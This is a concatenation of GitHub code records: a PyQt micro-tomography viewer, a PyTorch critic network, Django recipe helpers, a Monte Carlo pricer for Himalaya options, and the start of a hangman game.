self.ui.actionRotate.triggered.connect(lambda x: self.ui.display_stack.setCurrentWidget(self.ui.page_slices))\r\n self.ui.actionSlice_tensor.triggered.connect(lambda x: self.ui.tools.setCurrentWidget(self.ui.page_slicing))\r\n self.ui.actionSlice_tensor.triggered.connect(lambda x: self.ui.display_stack.setCurrentWidget(self.ui.page_slices))\r\n self.ui.action3D_visualization.triggered.connect(lambda: self.ui.tools.setCurrentWidget(self.ui.page_3d_generator))\r\n self.ui.action3D_visualization.triggered.connect(lambda: self.ui.display_stack.setCurrentWidget(self.ui.page_3d_plot))\r\n\r\n self.ui.next_display_page.clicked.connect(self.next_display_page)\r\n self.ui.previous_display_page.clicked.connect(self.previous_display_page)\r\n\r\n\r\n def next_display_page(self):\r\n \"\"\" Display next page (Slices, Detected pores or measured polymer level)\"\"\"\r\n if self.ui.display_stack.currentIndex()+1 == self.ui.display_stack.count():\r\n return\r\n try:\r\n self.ui.display_stack.setCurrentIndex(self.ui.display_stack.currentIndex()+1)\r\n except:\r\n pass\r\n\r\n def previous_display_page(self):\r\n \"\"\" Display previous page (Slices, Detected pores or measured polymer level)\"\"\"\r\n if self.ui.display_stack.currentIndex() == 0:\r\n return\r\n try:\r\n self.ui.display_stack.setCurrentIndex(self.ui.display_stack.currentIndex()-1)\r\n except:\r\n pass\r\n\r\n def set_source_dir(self, source_dir):\r\n \"\"\" Sets path to source directory \"\"\"\r\n\r\n self.source_dir = source_dir\r\n files = [os.path.join(self.source_dir,x) for x in os.listdir(self.source_dir)]\r\n self.ui.loading_info_stack.setCurrentIndex(1)\r\n self.tensor_loader.set_files(files)\r\n self.tensor_loader.start()\r\n\r\n def set_tensor(self, tensor):\r\n \"\"\" Sets 3D data tensor\r\n Args:\r\n tensor: 3D Numpy array\r\n \"\"\"\r\n self.tensor = tensor\r\n self.ui.loading_info_stack.setCurrentIndex(0)\r\n self.ui.file_info.setText(\"Loaded tensor successfully\")\r\n self.display_slice(self.current_slice)\r\n self.slicer.update_axis_bounds()\r\n\r\n def get_tensor(self):\r\n \"\"\" Returns current tensor \"\"\"\r\n return self.tensor\r\n\r\n def get_current_slice(self):\r\n \"\"\" Getter for current slice\"\"\"\r\n slice = None\r\n idx = self.current_slice\r\n if self.slice_xy:\r\n slice = self.tensor[:,:,idx].copy()#remove copy in this line?\r\n elif self.slice_yz:\r\n slice = self.tensor[:,idx,:].copy()\r\n elif self.slice_xz:\r\n slice = self.tensor[idx,:,:].copy()#TODO: Check if correct...\r\n return slice\r\n\r\n def normalize(self, tensor):\r\n tensor = tensor - np.min(tensor)\r\n tensor = tensor / np.max(tensor)\r\n return tensor\r\n\r\n def improve_slice(self, slice):\r\n \"\"\" Improve slice before displaying \"\"\"\r\n if self.ui.adapthist_preview.isChecked():\r\n slice = exposure.equalize_adapthist(self.normalize(slice),int(self.ui.adapthist_preview_kernelsize.value()), clip_limit=0.03)\r\n if self.ui.do_threshold_preview.isChecked():\r\n slice = self.normalize(slice)\r\n thres = self.ui.threshold_preview.value()\r\n slice = slice > thres\r\n slice = slice.astype(np.float)\r\n return slice\r\n\r\n def display_slice(self, idx):\r\n \"\"\" Displayes current slicev\"\"\"\r\n old_idx = self.current_slice\r\n try:\r\n self.current_slice = idx\r\n self.ui.slices.update(self.improve_slice(self.get_current_slice()))\r\n self.ui.slice.setValue(self.current_slice)\r\n except Exception as err:\r\n self.current_slice = old_idx\r\n print(err)\r\n traceback.print_tb(err.__traceback__)\r\n\r\n def set_column_positions(self, columns):\r\n \"\"\" Sets value for indicator that shows column potistions \"\"\"\r\n self.set_column_positions = columns\r\n\r\n def eventFilter(self, source, event):\r\n \"\"\" Filters key events such that arrow keys may be handled.\r\n Args:\r\n source: Source of event\r\n event: Event to be handled\r\n \"\"\"\r\n if event.type() == QtCore.QEvent.KeyRelease:\r\n id_right = 16777236\r\n id_left = 16777234\r\n if event.key() == id_right:\r\n self.display_slice(self.current_slice+1)\r\n\r\n elif event.key() == id_left:\r\n self.display_slice(self.current_slice-1)\r\n try:#When closing the app the widget handled might already have been destroyed\r\n return True#self.widget_handled.eventFilter(source, event)#Execute the default actions for the event\r\n except:\r\n return True#a true value prevents the event from being sent on to other objects\r\n\r\n class TensorLoader(QThread):#TODO. Set deamom\r\n tensor = pyqtSignal(np.ndarray)\r\n update_info = pyqtSignal(int)\r\n\r\n def __init__(self):\r\n \"\"\" Thread for loading tensor from image files in parallel\"\"\"\r\n super(MicroTomographyAnalyzer.TensorLoader, self).__init__()\r\n self.files = None\r\n\r\n def set_files(self,files):\r\n \"\"\" Sets filenames\"\"\"\r\n self.files = files\r\n\r\n def run(self):\r\n \"\"\" Loads tensor. Emits data as self.tensor (PyQtSignal).\"\"\"\r\n if not self.files:\r\n return\r\n files = self.files\r\n try:\r\n im1 = Image.open(files[0])\r\n arr1 = np.array(im1)\r\n shape = [len(files), arr1.shape[0],arr1.shape[1]]\r\n im1.close()\r\n arr1 = None\r\n\r\n tensor = np.ndarray(shape=shape, dtype=np.uint16)\r\n for i, x in enumerate(files):\r\n im = Image.open(x)\r\n tensor[i] = np.array(im, dtype=np.uint16)\r\n im.close()\r\n self.update_info.emit(int(100*(i/len(files))))\r\n tensor = np.einsum('zyx->yxz', tensor)\r\n self.tensor.emit(tensor)\r\n except Exception as e:\r\n print(\"No valid folder. Loading tensor failed\")\r\n print(e)\r\n\r\n\r\n class Mesh3dDisplay(QThread):\r\n progress = pyqtSignal(int)\r\n data = pyqtSignal(str)\r\n def __init__(self,outer):\r\n super(MicroTomographyAnalyzer.Mesh3dDisplay,self).__init__()\r\n self.ui = outer.ui\r\n self.outer = outer\r\n self.json = None\r\n self.make_connections()\r\n\r\n def make_connections(self):\r\n \"\"\" Establishes connections between GUI elements and methods\"\"\"\r\n self.progress.connect(self.ui.progress_mesh.setValue)\r\n self.ui.generate_mesh.clicked.connect(lambda: self.start() if type(self.outer.tensor)!=type(None) else None)\r\n self.data.connect(self.set_mesh)\r\n self.data.connect(self.set_json)\r\n\r\n def set_json(self, data):\r\n self.json = data\r\n\r\n def save_json(self):\r\n f = FileDialog()\r\n file = f.create_output_file()\r\n if not file:\r\n return\r\n try:\r\n with open(file, \"w\") as f:\r\n if self.json:\r\n f.write(self.json)\r\n else:\r\n raise Exception(\"\")\r\n except:\r\n response = QMessageBox.information(None, \"Saving not possible\",\"A problem occured\")\r\n\r\n\r\n def load_json(self):\r\n f = FileDialog()\r\n file = f.open_file()\r\n if file:\r\n try:\r\n with open(file, \"r\") as f:\r\n self.json = f.read()\r\n except:\r\n response = QMessageBox.information(None, \"Loading not possible\",\"A problem occured\")\r\n\r\n\r\n def normalize(self, tensor):\r\n tensor = tensor - np.min(tensor)\r\n tensor = tensor / np.max(tensor)\r\n return tensor\r\n\r\n def set_mesh(self, data, graph_id=\"main\"):\r\n #string = json.dumps({\"x\":x,\"y\":y,\"z\":z})\r\n\r\n data = \"'\" + data + \"'\"\r\n self.ui.webEngineView.page().runJavaScript(\"Graph\"+\"_\"+graph_id+\".set_mesh(\"+data+\")\");\r\n\r\n def run(self):\r\n \"\"\" Working method for parallel rotation of whole 3d tensor\"\"\"\r\n tensor = self.outer.tensor.copy()\r\n n_slices = len(tensor)\r\n for i, slice in enumerate(tensor):\r\n slice = exposure.equalize_adapthist(self.normalize(slice),int(self.ui.adapthist_preview_kernelsize.value()), clip_limit=0.03)\r\n tensor[i] = slice\r\n self.progress.emit(int((i/n_slices)*100))\r\n self.progress.emit(0)\r\n tensor = self.normalize(tensor)\r\n thres = self.ui.threshold_preview.value()\r\n tensor = tensor > thres\r\n\r\n mesh = voxels_to_mesh(tensor, opacity=1.0, format=\"json\", progress_callback= lambda x: self.progress.emit(int(x*100)))\r\n np.save(\"tensor\", tensor)\r\n self.data.emit(mesh)\r\n\r\n class Slicer(QWidget):\r\n output_tensor = pyqtSignal(np.ndarray)\r\n def __init__(self, parent_controller):\r\n \"\"\" Slices tensor according to parameters set via GUI\"\"\"\r\n super(MicroTomographyAnalyzer.Slicer,self).__init__()\r\n self.ui = parent_controller.ui\r\n self.parent_controller = parent_controller\r\n self.make_connections()\r\n\r\n def reset_current_slice(self):\r\n \"\"\" Resets currently displayed slice \"\"\"\r\n try:\r\n slice = self.parent_controller.get_current_slice()\r\n self.parent_controller.slices.update(slice)\r\n except Exception as err:\r\n traceback.print_tb(err.__traceback__)\r\n\r\n def update_axis_bounds(self):\r\n \"\"\" Sets text for axis bounds to respective to the respective labels in the GUI\"\"\"\r\n tensor = self.parent_controller.get_tensor()\r\n if type(tensor)==type(None):\r\n return\r\n axis = self.ui.axis.currentText()\r\n low_dim1 = self.ui.low_bound_dim1\r\n low_dim2 = self.ui.low_bound_dim2\r\n high_dim1 = self.ui.high_bound_dim1\r\n high_dim2 = self.ui.high_bound_dim2\r\n low_dim1.setValue(0)\r\n low_dim2.setValue(0)\r\n low_dim1.setMinimum(0)\r\n low_dim2.setMinimum(0)\r\n shape = None\r\n\r\n if axis == \"yx\":\r\n slice = tensor[:,:,0]\r\n shape = slice.shape\r\n elif axis == \"yz\":\r\n slice = tensor[:,0,:]\r\n shape = slice.shape\r\n elif axis == \"xz\":\r\n slice = tensor[0,:,:]\r\n shape = slice.shape\r\n #slice = self.parent_controller.get_current_slice()\r\n #shape = slice.shape\r\n\r\n print(shape)\r\n low_dim1.setMaximum(shape[0])\r\n low_dim2.setMaximum(shape[1])\r\n\r\n high_dim1.setMaximum(shape[0])\r\n high_dim2.setMaximum(shape[1])\r\n high_dim1.setValue(shape[0])\r\n high_dim2.setValue(shape[1])\r\n\r\n def reset_preview(self):\r\n \"\"\" Resets the preview showing snippet\"\"\"\r\n self.update_axis_bounds()\r\n self.slice_preview()\r\n\r\n def slice_preview(self):\r\n \"\"\" Shows slice of tensor. Slicing is achieved using values specified in UI \"\"\"\r\n try:\r\n slice = self.parent_controller.get_current_slice()\r\n low_dim1 = self.ui.low_bound_dim1.value()\r\n low_dim2 = self.ui.low_bound_dim2.value()\r\n high_dim1 = self.ui.high_bound_dim1.value()\r\n high_dim2 = self.ui.high_bound_dim2.value()\r\n slice = slice[low_dim1:high_dim1,low_dim2:high_dim2]\r\n self.parent_controller.ui.slices.update(slice)\r\n except Exception as err:\r\n #traceback.print_tb(err.__traceback__)\r\n pass\r\n\r\n def make_connections(self):\r\n \"\"\" Establish conncetions between GUI and methods\"\"\"\r\n self.parent_controller.ui.axis.currentTextChanged.connect(lambda x: self.update_axis_bounds())\r\n\r\n self.parent_controller.ui.low_bound_dim1.valueChanged.connect(lambda x: self.slice_preview())\r\n self.parent_controller.ui.low_bound_dim2.valueChanged.connect(lambda x: self.slice_preview())\r\n self.parent_controller.ui.high_bound_dim1.valueChanged.connect(lambda x: self.slice_preview())\r\n self.parent_controller.ui.high_bound_dim2.valueChanged.connect(lambda x: self.slice_preview())\r\n self.parent_controller.ui.reset_slicing.clicked.connect(lambda x: self.reset_preview())\r\n self.parent_controller.ui.apply_slicing.clicked.connect(lambda x: self.apply_slicing())\r\n\r\n def apply_slicing(self):\r\n \"\"\" Applys slicing to the whole tensor \"\"\"\r\n message = \"Note that you cannot undo this step but you must load the tensor from file again to go back.\"\r\n message += \"\\n\\nDo you really want to overwrite the tensor with the current subtensor?\"\r\n response = QMessageBox.question(self, 'Warning', message,QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\r\n if response == QMessageBox.No:\r\n return\r\n try:\r\n tensor = self.parent_controller.tensor\r\n low_dim1 = self.ui.low_bound_dim1.value()\r\n low_dim2 = self.ui.low_bound_dim2.value()\r\n high_dim1 = self.ui.high_bound_dim1.value()\r\n high_dim2 = self.ui.high_bound_dim2.value()\r\n if self.parent_controller.slice_xy:\r\n tensor = tensor[low_dim1:high_dim1,low_dim2:high_dim2,:]\r\n elif self.parent_controller.slice_yz:\r\n tensor = tensor[low_dim1:high_dim1,:,low_dim2:high_dim2]\r\n elif self.parent_controller.slice_xz:\r\n tensor = tensor[:,low_dim1:high_dim1,low_dim2:high_dim2]\r\n self.output_tensor.emit(tensor)\r\n except Exception as e:\r\n print(e)\r\n traceback.print_tb(e.__traceback__)\r\n\r\n class Rotator(QThread):\r\n output_tensor = pyqtSignal(np.ndarray)\r\n progress = pyqtSignal(int)\r\n done = pyqtSignal(int)\r\n def __init__(self,outer):\r\n \"\"\" Rotates tensor around center point in two axis\r\n Args:\r\n outer: Outer instance that owns the GUI.\r\n \"\"\"\r\n super(MicroTomographyAnalyzer.Rotator,self).__init__()\r\n self.ui = outer.ui\r\n self.outer = outer\r\n self.angle = None\r\n self.make_connections()\r\n\r\n def make_connections(self):\r\n \"\"\" Establishes connections between GUI elements and methods\"\"\"\r\n self.ui.rotation_angle.valueChanged.connect(self.rotate_preview)\r\n self.output_tensor.connect(self.outer.set_tensor)\r\n self.progress.connect(self.ui.progress.setValue)\r\n self.done.connect(lambda: self.ui.loading_info_stack.setCurrentIndex(0))\r\n self.ui.apply_rotation.clicked.connect(self.rotate_tensor)\r\n\r\n def rotate_preview(self, angle):\r\n \"\"\" Computes preview for 2d slice and displays it \"\"\"\r\n self.angle = angle\r\n slice = self.outer.get_current_slice()\r\n slice = Image.fromarray(np.array(slice,dtype=np.uint32)).rotate(angle,resample=PIL.Image.BICUBIC)\r\n self.ui.slices.update(np.array(slice))\r\n\r\n def rotate_tensor(self):\r\n \"\"\" Interface method for rotating whole tensor \"\"\"\r\n message = \"Note that you cannot undo this step but you must load the tensor from file again to go back.\"\r\n message += \"Rotation is lossless only for (+/-) 90, 180 and 270 degrees\"\r\n message += \"\\n\\nDo you really want to overwrite the tensor with the specified rotation in the current dimension?\"\r\n response = QMessageBox.question(None, 'Warning', message,QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\r\n if response == QMessageBox.No:\r\n return\r\n self.ui.loading_info_stack.setCurrentIndex(1)\r\n if not self.angle:\r\n return\r\n self.start()\r\n\r\n def run(self):\r\n \"\"\" Working method for parallel rotation of whole 3d tensor\"\"\"\r\n angle = self.angle\r\n tensor = self.outer.tensor\r\n output_tensor = np.ndarray(shape=tensor.shape)\r\n n_rotations = 0\r\n if self.outer.slice_xy:\r\n n_rotations = tensor.shape[2]\r\n for i in range(n_rotations):\r\n self.progress.emit(int((i/n_rotations)*100))\r\n output_tensor[:,:,i] = np.array(Image.fromarray(np.array(tensor[:,:,i],dtype=np.uint32)).rotate(angle,resample=PIL.Image.BICUBIC))\r\n elif self.outer.slice_xz:\r\n n_rotations = tensor.shape[0]\r\n for i in range(n_rotations):\r\n self.progress.emit(int((i/n_rotations)*100))\r\n output_tensor[i,:,:] = np.array(Image.fromarray(np.array(tensor[i,:,:],dtype=np.uint32)).rotate(angle,resample=PIL.Image.BICUBIC))\r\n elif self.outer.slice_yz:\r\n n_rotations = tensor.shape[1]\r\n for i in range(n_rotations):\r\n self.progress.emit(int((i/n_rotations)*100))\r\n output_tensor[:,i,:] = np.array(Image.fromarray(np.array(tensor[:,i,:],dtype=np.uint32)).rotate(angle,resample=PIL.Image.BICUBIC))\r\n self.output_tensor.emit(output_tensor)\r\n self.done.emit(1)\r\n\r\n\r\nclass Main(QtWidgets.QWidget):\r\n def __init__(self):\r\n \"\"\" Initializes program. Starts app, creates window and implements functions accessible via action bar.\"\"\"\r\n self.app = QtWidgets.QApplication(sys.argv)\r\n self.set_color_theme(self.app, \"light\")\r\n\r\n MainWindow = QtWidgets.QMainWindow()#Create a window\r\n self.main_ui = Ui_Segmentation()#Instanciate our UI\r\n self.main_ui.setupUi(MainWindow)#Setup our UI as this MainWindow\r\n\r\n self.source_dir_opener = FileDialog()\r\n\r\n self.main_ui.centralwidget.setFocusPolicy(Qt.NoFocus)\r\n\r\n self.main_app = MicroTomographyAnalyzer(self.main_ui.centralwidget, self.main_ui)#Install MainApp as event filter for handling of arrow keys\r\n\r\n self.main_ui.centralwidget.installEventFilter(self.main_app)\r\n\r\n\r\n\r\n self.make_connections()\r\n MainWindow.show()#and we show it directly\r\n\r\n self.app.exec_()\r\n sys.exit()\r\n\r\n def set_color_theme(self,app, color):\r\n \"\"\" Set ui color scheme to either dark or bright\r\n Args:\r\n app: PyQt App the color scheme is applied to\r\n color: String specifying the color scheme. Either \"dark\" or \"bright\".\r\n\r\n \"\"\"\r\n path = \"\"\r\n if color == \"dark\":\r\n path += \":/dark.qss\"\r\n self.use_light = False\r\n elif color == \"light\":\r\n path += \":/light.qss\"\r\n self.use_light = True\r\n else:\r\n return\r\n file = QFile(path)\r\n file.open(QFile.ReadOnly | QFile.Text)\r\n stream = QTextStream(file)\r\n app.setStyleSheet(stream.readAll())\r\n\r\n def make_connections(self):\r\n \"\"\" Establishes connections between actions and GUI elements\"\"\"\r\n self.main_ui.actionOpen.triggered.connect(self.source_dir_opener.get_folder_path)\r\n self.source_dir_opener.folder.connect(self.main_app.set_source_dir)\r\n self.main_ui.actionSave.triggered.connect(lambda: self.save_current_tensor())\r\n self.main_ui.actionOpen_Tensor.triggered.connect(lambda: self.load_tensor())\r\n\r\n\r\n def save_current_tensor(self):\r\n \"\"\" Saves current tensor as numpy container\"\"\"\r\n if type(self.main_app.tensor) == type(None):\r\n QMessageBox.information(None, \"Saving not possible\",\"There is no tensor data\")\r\n dialog = FileDialog(\".npy\")\r\n path = dialog.create_output_file()\r\n\r\n try:\r\n with open(path, \"wb\") as f:\r\n np.save(path, self.main_app.tensor)\r\n except Exception as e:\r\n QMessageBox.information(None, \"Saving not possible\",\"There was a problem writing the file \" + str(e))\r\n\r\n def load_tensor(self):\r\n \"\"\" Loads previously saved tensor as numpy container\"\"\"\r\n dialog = FileDialog(\".npy\")\r\n path = dialog.open_file()\r\n try:\r\n with open(path, \"rb\") as f:\r\n tensor = np.load(f)\r\n self.main_app.set_tensor(tensor)\r\n except Exception as e:\r\n QMessageBox.information(None, \"Loading not possible\",\"There was a problem loading the file \" + str(e))\r\n\r\nif __name__ == \"__main__\":\r\n QtWidgets.QApplication.setAttribute(QtCore.Qt.AA_EnableHighDpiScaling, True) #enable highdpi scaling\r\n QtWidgets.QApplication.setAttribute(QtCore.Qt.AA_UseHighDpiPixmaps, True) #use highdpi icons\r\n m = Main()#start app\r\n","repo_name":"elerator/capillary_effects_aluminum","sub_path":"segmentation_cpg/segmentation.py","file_name":"segmentation.py","file_ext":"py","file_size_in_byte":27085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22569399347","text":"import sys\nimport os\nfrom models.critic import *\nimport torch.nn.functional as F\n\n__activations__ = {\n \"relu\": F.relu\n}\n\nclass FFNC(Critic):\n def __init__(self, num_agents, num_obs, num_actions, activation = \"relu\"):\n super().__init__(num_agents, num_obs, num_actions)\n obs_dim = num_obs * num_agents\n act_dim = num_actions * num_agents\n self.activation = activation\n self.FC1 = nn.Linear(obs_dim, 1024)\n self.FC2 = nn.Linear(1024+act_dim, 512)\n self.FC3 = nn.Linear(512, 300)\n self.FC4 = nn.Linear(300, 1)\n def forward(self, obs, acts):\n x_obs = obs\n x_acts = acts\n x_fc1 = __activations__[self.activation](self.FC1(x_obs))\n x_comb = torch.cat((x_fc1, x_acts), dim=1)\n x_fc2 = __activations__[self.activation](self.FC2(x_comb))\n x_fc3 = __activations__[self.activation](self.FC3(x_fc2))\n x_fc4 = self.FC4(x_fc3)\n return x_fc4\n","repo_name":"jvoas655/RLFlocking","sub_path":"src/models/FFNC.py","file_name":"FFNC.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"19355494779","text":"from typing import Any, Optional\n\nfrom django.core.paginator import Paginator\nfrom django.db.models.query import QuerySet\nfrom django.shortcuts import get_object_or_404\n\nfrom ..models import Ingredient, IngredientRecipe, Recipe, Tag\n\n\ndef get_filter_tags(filter_tags: Any):\n if not filter_tags:\n return {}\n\n filter_tags = filter_tags.split(',')\n return {'tags__in': [get_object_or_404(Tag, name=tag) for tag in filter_tags]}\n\n\ndef paginate_request(filters: Optional[dict], list_to_paginate: QuerySet, page_number: str = '1'):\n if filters is not None:\n list_to_paginate = list_to_paginate.filter(**filters).distinct()\n\n paginator = Paginator(list_to_paginate, 6)\n page = paginator.get_page(page_number)\n return page, paginator\n\n\ndef validate_igredients(data: list):\n errors = []\n if not data:\n return 'Обязательное поле'\n \n for item in data:\n title = item.split('-')[0]\n ingredient = Ingredient.objects.filter(title=title)\n\n if not ingredient.exists():\n errors.append(f'{item} неверное значение')\n\n return ', '.join(errors)\n\n\ndef ingredients_to_python(data: list) -> list:\n result = []\n for item in data:\n title, quantity = item.split('-')\n ingredient = Ingredient.objects.get(title=title)\n result.append({'ingredient': ingredient, 'quantity': int(quantity)})\n return result\n\n\ndef set_ingredients_to_recipe(instance: Recipe, ingredients: list, **kwargs) -> None:\n ingredients: list = ingredients_to_python(ingredients)\n if kwargs.get('update'):\n IngredientRecipe.objects.filter(recipe=instance).delete()\n create_query = []\n\n for item in ingredients:\n create_query.append(\n IngredientRecipe(\n recipe=instance,\n ingredient=item['ingredient'],\n quantity=item['quantity'],\n )\n )\n IngredientRecipe.objects.bulk_create(create_query)\n","repo_name":"linkbrt/foodgram-project","sub_path":"server/foodgram/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"715685932","text":"import numpy as np\r\nimport pandas as pd\r\nimport cvxpy as cvx\r\n\r\n\r\nclass MC:\r\n ''' 简化考虑:有N个资产就是N期himalaya\r\n Himalaya payoff:在每个收益表现冻结时点挑选出表现最好的资产,记录收益率,并剔除该资产\r\n 直至将所有资产剔除,加总所有记录的收益率,并除以期数?该值作为Himalaya的收益率\r\n \r\n 该期权好在:便宜(如果每期丢掉的是表现最差的资产,该期权价格还要高点)\r\n 差在:表现最差的资产持有时间最长,拉低平均收益率'''\r\n \r\n def __init__(self, assets, times, step, rf, mineig,\r\n use_give = False,\r\n type_ = 'GF1'):\r\n '''输入: \r\n 资产相关:1.资产的日度收益率序列 assets 此时use_give = False 默认为False\r\n /或者是给定scenario下的[corr,sigma] 此时use_give = True\r\n \r\n \r\n 蒙卡相关:2.独立重复实验次数 times\r\n 3.单期时长 t_step(年化 一个月是1/12)\r\n \r\n 其他:4.使用payoff计算蒙卡price时所用的无风险利率rf\r\n 5.如果资产corr矩阵为非半正定那么对corr进行修改设定的修改后corr矩阵最小特征值mineig\r\n 6.是否使用给定scenario下的corr和cov数据 True为使用 则在原来的asset参数中输入给定数据[corr,sigma]\r\n False为不使用 则还是使用asset的data计算corr与cov\r\n 7.type:\r\n ##origin:SUM(节点的累计收益率)/N期\r\n \r\n GF1:MAX(SUM(节点的累计收益率),0)\r\n GF2: MAX(SUM(节点的区间收益率),0)\r\n LF1: SUM(max(节点的累计收益率),0)\r\n LF2: SUM(max(节点的区间收益率),0)\r\n \r\n \r\n 输出:mc模拟的喜马拉雅期权价格'''\r\n\r\n if use_give is True:\r\n self.corr = assets[0]\r\n self.delta2 = assets[1] # 年化\r\n self.cov = np.diag(self.delta2)**(1/2) @ self.corr @ np.diag(self.delta2)**(1/2)\r\n self.n = self.corr.shape[1]\r\n self.miu = [0] * self.n\r\n else:\r\n self.assets = assets \r\n self.n = self.assets.shape[1]\r\n self.corr = self.assets.corr()\r\n self.cov = self.assets.cov()*252 # cov = assets.cov()\r\n self.delta2 = np.array(self.cov).diagonal()\r\n self.miu = self.assets.mean()*252\r\n \r\n self.times = times\r\n self.step = step\r\n self.rf = rf\r\n self.mineig = mineig\r\n self.type = type_\r\n\r\n #判断产生的corr 是否为半正定矩阵\r\n def is_pos_def(self):\r\n A = self.corr\r\n if np.array_equal(A, A.T):\r\n try:\r\n np.linalg.cholesky(A)\r\n return '是半正定矩阵'\r\n except np.linalg.LinAlgError:\r\n return '不是半正定矩阵-1'\r\n else:\r\n if np.allclose (A, A.T, rtol = 1e-05 , atol = 1e-08 , equal_nan = False ):\r\n try:\r\n np.linalg.cholesky(A)\r\n return '是半正定矩阵'\r\n except np.linalg.LinAlgError:\r\n return '不是半正定矩阵-1'\r\n else:\r\n return '不是半正定矩阵-2'\r\n\r\n # 通过cvx求解一个距离给定相关矩阵最近的&符合条件的corr矩阵:\r\n # 保证求出来的矩阵1.半正定 2.对角线为1\r\n def trans_PD(self):#m 为设定的最小特征值 0.01\r\n \r\n origin = self.corr\r\n n = self.n\r\n m = self.m\r\n x = cvx.Variable((n,n))#,symmetric=True) \r\n objective = cvx.Minimize(cvx.norm(x - origin,'fro')) \r\n constraints = [cvx.PSD(x-m*np.eye(n,n)),cvx.diag(x)==1,x==x.T] \r\n prob = cvx.Problem(objective, constraints) \r\n prob.solve() \r\n change_rrho = x.value\r\n \r\n # print(self.is_pos_def(change_rrho))\r\n \r\n return change_rrho\r\n\r\n # 计算himalaya期权的payoff\r\n # 假设在节点的确收到、给出现金流\r\n def himalaya_options_payoff(self,p):\r\n \r\n thesum = 0\r\n s_ratio_copy = self.s_ratio[p,:,:].copy()\r\n for t in range(1, self.n+1): # t = 1\r\n # 找出表现最好的资产位置 \r\n # 传入s_ratio代表区间收益率则就是区间收益率最大 传入累计收益率就是累计收益率最大\r\n # s_ratio n*n\r\n maxpos = s_ratio_copy[:, t-1].argmax()\r\n # 根据不同的payoff结构计算Himalaya期权的payoff(有贴现因子)\r\n if self.type == 'GF1' or self.type == 'GF2':# 1:节点累计收益率/2:节点区间收益率\r\n thesum += s_ratio_copy[maxpos, t-1] * np.exp(self.rf*(self.n - t)*self.step) # 先全部贴现到期末 最后全部折现回初期t0\r\n # 将需要被剔除的资产这一行(所有期的收益率数据)设为 -100000\r\n s_ratio_copy[maxpos, :] = -10000 \r\n # 期权 可以不行权?则收益率就是0\r\n result = max(thesum,0)\r\n elif self.type == 'LF1' or self.type == 'LF2':# 1:节点累计收益率/2:节点区间收益率\r\n thesum += max(s_ratio_copy[maxpos, t-1] * np.exp(self.rf*(self.n - t)*self.step),0) # 先全部贴现到期末 最后全部折现回初期t0\r\n s_ratio_copy[maxpos, :] = -10000 \r\n # 期权 可以不行权?则收益率就是0\r\n result = thesum\r\n \r\n\r\n return result \r\n\r\n\r\n # 蒙卡模拟\r\n def mc_himalaya(self):\r\n '''\r\n 基于几何布朗运动模型构建的n个独立分布的资产收益率序列rt表示为:\r\n rt = μ + δ*et\r\n 对符合标准正态分布的变量et进行修正得到有相关关系漂移项εt来描述资产间的耦合关系\r\n εt = C*et\r\n rt = μ + δ*C*et\r\n '''\r\n\r\n #资产年度收益率均值?\r\n rm = np.array(self.miu) # np.array([0]*self.n)\r\n #资产年度波动率\r\n delta2 = np.array(self.delta2)\r\n #Δt:单个时间步进的年化时长?[1/12]\r\n delta_t = np.array([self.step]*self.n)\r\n\r\n '''判断相关系数矩阵是否为半正定?'''\r\n judge = self.is_pos_def()\r\n if judge == '是半正定矩阵':\r\n pass\r\n elif judge == '不是半正定矩阵-1':\r\n print('调整corr矩阵至半正定')\r\n # 使用cxvpy计算修改corr至半正定 再计算cov\r\n self.corr = self.trans_PD()\r\n self.cov = np.diag(self.delta2)**(1/2) @ self.corr @ np.diag(self.delta2)**(1/2)\r\n\r\n # 对协方差矩阵进行cholesky分解:从这里开始需要确保协方差矩阵为半正定\r\n l = np.linalg.cholesky(self.cov)# 返回下三角矩阵 r = l*l.T\r\n \r\n # 存放蒙卡模拟下的资产价格净值路径 stock_p:产生times个 n*n+1的矩阵\r\n self.stock_p = np.ones((self.times,self.n,self.n+1))\r\n # 存放每期模拟的收益率路径 \r\n self.s_ratio = np.zeros((self.times,self.n,self.n))\r\n # 存放MC所有模拟s_ratio\r\n himalaya_payoff_total = 0\r\n\r\n # 开始蒙卡模拟\r\n for i in range(self.times):# 第i次独立重复实验\r\n for t in range(1,self.n+1):# 第t期\r\n #生成n*1随机数序列\r\n z = np.random.randn(self.n).reshape(self.n,1)\r\n\r\n # 计算单次模拟中的资产净值路径\r\n self.stock_p[i,:,t] = self.stock_p[i,:,t-1] * \\\r\n np.squeeze(np.array(\r\n np.exp((np.matrix(rm - delta2 / 2) * delta_t[t - 1] ).reshape(self.n, 1) \\\r\n + np.matmul(l, z) * np.sqrt(delta_t[t - 1]))\r\n )\r\n )\r\n # 计算单次模拟中各资产各期收益率\r\n if self.type == 'GF1' or self.type == 'LF1': # 累计收益率\r\n s_diff = self.stock_p[i, :, 1:] - np.ones((self.n,self.n)) # self.stock_p[i, :, :-1]\r\n self.s_ratio[i,:,:] = s_diff\r\n\r\n elif self.type == 'GF2' or self.type == 'LF2': # 单期收益率\r\n s_diff = self.stock_p[i, :, 1:] - self.stock_p[i, :, :-1]\r\n self.s_ratio[i,:,:] = s_diff / self.stock_p[i, :, :-1]\r\n\r\n # 计算Himalaya期权payoff\r\n himalaya_payoff_total += self.himalaya_options_payoff(i)\r\n \r\n self.himalaya_payoff_mc = himalaya_payoff_total/self.times\r\n \r\n '''无风险利率 rf 折现payoff到期初 设名义本金为1 Himalaya期权价格=(名义本金*payoff)*折现'''\r\n self.nominal = 1\r\n self.himalaya_price = (self.nominal * self.himalaya_payoff_mc) * np.exp(-1*self.rf*self.n*self.step)\r\n \r\n return self.himalaya_price\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"NAGA-Anubis/NAGA-Anubis.github.io","sub_path":"himalaya/mc.py","file_name":"mc.py","file_ext":"py","file_size_in_byte":9520,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1616674529","text":"import random\nfrom hangman_words import word_list\nfrom hangman_art import stages, logo\nfrom replit import clear\n\nend_game 